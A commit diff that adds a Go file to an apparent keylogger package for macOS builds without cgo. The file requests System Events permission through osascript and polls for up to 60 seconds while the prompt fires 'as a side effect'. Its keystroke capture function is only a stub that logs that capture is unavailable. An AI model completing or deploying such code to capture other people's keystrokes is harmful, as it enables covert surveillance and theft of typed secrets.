test
This commit is contained in:
@@ -0,0 +1,63 @@
|
||||
//go:build darwin && !nokeylogger && !cgo
|
||||
// +build darwin,!nokeylogger,!cgo
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func checkPermissionViaOsascript() bool {
|
||||
cmd := exec.Command("osascript", "-e",
|
||||
`tell application "System Events" to return name of every process`)
|
||||
cmd.Stdout = nil
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(strings.TrimSpace(string(out))) > 0
|
||||
}
|
||||
|
||||
func requestPermissionViaOsascript() bool {
|
||||
cmd := exec.Command("osascript", "-e",
|
||||
`tell application "System Events" to return name of every process`)
|
||||
cmd.Run() // ignore error — the prompt fires as a side effect
|
||||
|
||||
deadline := time.Now().Add(60 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
if checkPermissionViaOsascript() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (k *Keylogger) RequestPermission() bool {
|
||||
granted := requestPermissionViaOsascript()
|
||||
k.mu.Lock()
|
||||
k.permissionGranted = granted
|
||||
k.mu.Unlock()
|
||||
return granted
|
||||
}
|
||||
|
||||
func (k *Keylogger) HasPermission() bool {
|
||||
return checkPermissionViaOsascript()
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] keystroke capture is not available in CGO-disabled darwin builds; rebuild natively on macOS")
|
||||
<-k.stopCh
|
||||
return nil
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
}
|
||||
Reference in New Issue
Block a user